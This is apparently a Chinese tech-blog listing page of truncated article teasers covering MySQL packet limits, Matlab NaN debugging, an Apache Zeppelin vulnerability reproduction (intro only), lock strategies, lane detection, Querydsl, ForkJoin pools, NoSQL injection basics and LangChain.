MySQL数据库max_allowed_packet参数

如上图所示的报错&#xff0c;我在提交接口的时候出现了这个错误&#xff1a; MySqlConnector.MySqlException:Error submitting 4MB packet;ensure max_allowed_packet is greater than 4MB.在MySQL数据库中&#xff0c;有一个参数叫max_allowed_packet&#xff0c;这个参数会…

013_NaN_in_Matlab中的非数与调试方法

Matlab中的非数与调试方法 是什么&#xff1f; Matlab编程&#xff08;计算器使用&#xff09;中经常有个错误给你&#xff0c;这句话里可能包含一个关键词NaN。大部分学生都有过被 NaN 支配的痛苦记忆。 NaN 是 Not a Number 的缩写&#xff0c;表示不是一个数字。在 Matla…

Apache Zeppelin 命令执行漏洞复现(CVE-2024-31861)

0x01 产品简介 Apache Zeppelin 是一个让交互式数据分析变得可行的基于网页的开源框架&#xff0c;Zeppelin提供了数据分析、数据可视化等功能&#xff0c; 0x02 漏洞概述 Apache Zeppelin 中代码生成控制不当&#xff08;“代码注入”&#xff09;漏洞。攻击者可以使用 She…

锁策略总结

锁策略 悲观锁和乐观锁 乐观锁和悲观锁不是具体类型的锁而是指两种不同的对待加锁的态度&#xff0c;这两个锁面对锁冲突的态度是相反的。 乐观锁&#xff1a;认为不存在很多的并发操作&#xff0c;因此不需要加锁。悲观锁&#xff1a;认为存在很多并发操作&#xff0c;因此需…

python实现简单的车道线检测

描述 python实现简单的车道线检测&#xff0c;本文章将介绍两种简单的方法 颜色阈值区域掩模canny边缘检测霍夫变换 这两种方法都能实现简单的车道线检测demo&#xff0c;注意仅仅是demo 下面的图片是用到的测试图片 方法1&#xff1a;颜色阈值&#xff08;Color Selection…

jpa使用Querydsl需要规避的一些坑

在使用Spring Data JPA时&#xff0c;通常会使用Querydsl来构建类型安全的查询。在Querydsl中&#xff0c;为了区分实体类与Querydsl查询类&#xff0c;习惯上会给查询类的前缀添加一个"Q"&#xff0c;表示该类是一个查询类。这样做可以有效地避免实体类与查询类之间…

并发学习28--多线程 Fork、Join线程池

概念 使用 import java.util.concurrent.ForkJoinPool; import java.util.concurrent.RecursiveTask;public class TC51 {public static void main(String[] args) {//递归到最小不可分解单元&#xff0c;再进行计算ForkJoinPool pool new ForkJoinPool(5);pool.invoke(new My…

「 典型安全漏洞系列 」14.NoSQL注入漏洞详解

NoSQL注入是一个漏洞&#xff0c;攻击者能够干扰应用程序对NoSQL数据库进行的查询&#xff0c;本文我们将研究如何测试一般的NoSQL漏洞&#xff0c;然后重点研究如何利用MongoDB中的漏洞&#xff08;MongoDB是最流行的NoSQL数据库&#xff09;。 1. 什么是NoSQL注入 NoSQL注入…

Langchain入门到实战-第二弹

Langchain入门到实战 Langchain快速入门官网地址Langchain概述Langchain调用大模型更新计划 Langchain快速入门 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列内容不一定100%复现, 还要以官方信息为准 https://python.langchain.com/Langchain概述 LangChain是一个…